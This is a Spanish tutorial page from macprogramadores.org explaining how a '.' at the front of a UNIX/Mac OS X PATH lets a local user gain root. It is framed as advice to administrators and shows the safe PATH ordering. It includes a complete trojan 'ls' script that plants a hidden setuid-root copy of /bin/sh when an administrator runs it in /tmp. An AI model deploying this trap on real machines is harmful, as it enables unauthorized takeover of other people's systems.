Acerca de
Tutoriales
Comunidad
Actualidad
Enlaces





En macprogramadores.org
En Internet

Trucos

Apoderarse del superusuario de una máquina UNIX



Aquí se explica un truco que aprovecha un error en la configuración del PATH, por parte del administrador de una máquina UNIX, para apoderarse de su sistema. Este truco es válido para cualquier máquina UNIX incluida, como no, Mac OS X.

Nota: Este truco se explica con el fin de que los administradores de una máquina eviten que un usuario hostil viole la seguridad de su máquina, y nunca con el fin de que los usuarios aprendan a violar la seguridad de un sistema. En cualquier caso macrogramadores.org no se hace responsable del mal uso que se pueda hacer de la información aquí suministrada.


Es muy típico que los administradores de las máquinas UNIX añadan al PATH de su máquina un "." con le fin de poder ejecutar los ficheros del directorio actual donde se encuentran. Si es este su caso recuerde que debe de hacerlo siempre al final del PATH y nunca al principio, es decir, en sus ficheros de configuración del shell (p.e. /etc/profile) debe de poner:

export PATH=/usr/local/bin:/usr/local/lib:/bin:/usr/local/sbin:/usr/sbin:/sbin:.

Y nunca:

export PATH=.:/usr/local/bin:/usr/local/lib:/bin:/usr/local/sbin:/usr/sbin:/sbin

Vamos a poner un ejemplo de como un usuario llamado judas se apodera del control de una máquina UNIX en la que su administrador no tuvo en cuenta este consejo.

En primer lugar al entrar judas en su nueva cuenta en la universidad se da cuenta de que le han asignado una cuenta de usuario en la que el primer campo del PATH es el directorio ".", como judas conoce este truco se dirige al fichero /etc/profile (del cual sólo tiene permiso de lectura) y comprueba eufórico que el administrador ha colocado de la forma no recomendada el PATH de la máquina.

Lo siguiente que hace judas es preparar una trampa al administrador para lo cual coloca en le directorio /tmp (en le que tiene permiso de lectura y escritura) un fichero con permiso de ejecución al que llama ls como el que sigue:

#!/bin/sh
if cp /bin/sh /usr/bin/.superdude >/dev/null 2>/dev/null
then
  chmod 4555 /usr/bin/.superdude
  rm -f $0
fi
exec /bin/ls ${1+$@}

Y finalmente modifica el permiso de ejecución de este script para que todo el mundo lo pueda ejecutar:

% chmod a+x /tmp/ls

En este momento la trampa esta tendida. Ahora lo único que tiene que tiene que hacer judas es esperar a que el ingenuo administrador pase por el directorio /tmp y ejecute el comando ls. Si algún usuario se pasea por estos lares al estar el "." como primer campo del PATH se ejecutara el script de judas y no el verdadero /bin/ls, el comando cp fallará (ya que los usuarios no tienen permiso para escribir en el directorio /usr/bin) y simplemente ese usuario obtendrá el resultado de un ls en pantalla. Pero cuando el administrador pase por ahí y ejecute este comando ls, el comando cp funcionará, lo cual permitirá que se ejecute el cuerpo del bloque if y al fichero .supersede se le activará el bit de setuid, se borrará el malvado script de judas y el administrador obtendrá el resultado de un ls como normalmente.

Cuando judas descubra la existencia del nuevo fichero /usr/bin/.superdude lo único que tiene que hacer es ejecutarlo y boala, acaba de logarse como superusuario en la máquina.